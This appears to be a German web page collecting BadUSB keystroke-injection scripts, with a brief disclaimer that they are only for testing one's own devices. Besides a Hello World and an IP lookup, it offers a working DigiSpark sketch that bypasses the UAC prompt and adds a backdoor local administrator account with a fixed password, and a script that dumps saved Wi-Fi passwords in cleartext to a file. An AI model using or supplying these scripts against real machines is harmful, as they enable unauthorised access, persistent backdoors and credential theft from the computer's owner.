BAD-USB Scripte
Natürlich alles nur zum legalen testen eigener Geräte und ohne jede Garantie !!!
Hello World Script (Windows)
REM Windows version of Hello World example. REM
DELAY 3000
GUI r
DELAY 500
STRING notepad.exe
ENTER
DELAY 500
STRING Hello World!
ENTER
IP-Linux
DELAY 1500
STRING ip a | grep -Eo ‚(192).(168).([0-9]{2,3}).([0-9]{2,3})/‘ | cut -b1-15
ENTER
Create new AdminUser (Windows)
//This DigiSpark script creates new local user and adds it to „Administrators“ group
//Tested on Windows 10 with English(US) keyboard layout
//Created by Michyus
#include „DigiKeyboard.h“
void setup() {
}
void loop() {
DigiKeyboard.sendKeyStroke(0);
DigiKeyboard.delay(500);
DigiKeyboard.sendKeyStroke(KEY_R, MOD_GUI_LEFT);
DigiKeyboard.delay(500);
DigiKeyboard.print(„cmd“);
DigiKeyboard.sendKeyStroke(KEY_ENTER, MOD_CONTROL_LEFT + MOD_SHIFT_LEFT);
DigiKeyboard.delay(1000);
DigiKeyboard.sendKeyStroke(KEY_ARROW_LEFT);
DigiKeyboard.delay(1000);
DigiKeyboard.sendKeyStroke(KEY_ENTER);
DigiKeyboard.delay(1000);
DigiKeyboard.print(F(„powershell $pass = ConvertTo-SecureString \“P@ssW0rD\“ -AsPlainText -Force; New-LocalUser \“accName\“ -Password $pass; Add-LocalGroupMember -Group \“Administrators\“ -Member \“accName\“ „));
DigiKeyboard.sendKeyStroke(KEY_ENTER);
DigiKeyboard.delay(500);
DigiKeyboard.print(„exit“);
DigiKeyboard.sendKeyStroke(KEY_ENTER);
for(;;){ /*empty*/ }
}
Lokal WiFi password grabber (Windows)
REM Title: WiFi password grabber
REM Author: Siem
REM Version: 4
REM Description: Saves the SSID, Network type, Authentication and the password to Log.txt
REM
DELAY 3000
REM –> Minimize all windows
WINDOWS d
REM –> Open cmd
WINDOWS r
DELAY 500
STRING cmd
ENTER
DELAY 200
REM –> Getting SSID
STRING cd „%USERPROFILE%\Desktop“ & for /f „tokens=2 delims=:“ %A in (’netsh wlan show interface ^| findstr „SSID“ ^| findstr /v „BSSID“‚) do set A=%A
ENTER
STRING set A=“%A:~1%“
ENTER
REM –> Creating A.txt
STRING netsh wlan show profiles %A% key=clear | findstr /c:“Network type“ /c:“Authentication“ /c:“Key Content“ | findstr /v „broadcast“ | findstr /v „Radio“>>A.txt
ENTER
REM –> Get network type
STRING for /f „tokens=3 delims=: “ %A in (‚findstr „Network type“ A.txt‘) do set B=%A
ENTER
REM –> Get authentication
STRING for /f „tokens=2 delims=: “ %A in (‚findstr „Authentication“ A.txt‘) do set C=%A
ENTER
REM –> Get password
STRING for /f „tokens=3 delims=: “ %A in (‚findstr „Key Content“ A.txt‘) do set D=%A
ENTER
REM –> Delete A.txt
STRING del A.txt
ENTER
REM –> Create Log.txt
STRING echo SSID: %A%>>Log.txt & echo Network type: %B%>>Log.txt & echo Authentication: %C%>>Log.txt & echo Password: %D%>>Log.txt
ENTER
STRING exit
ENTER
DELAY 500
REM –> Delete Log.txt and exit
REM STRING del Log.txt & exit
REM ENTER
REM STRING exit
REM ENTER
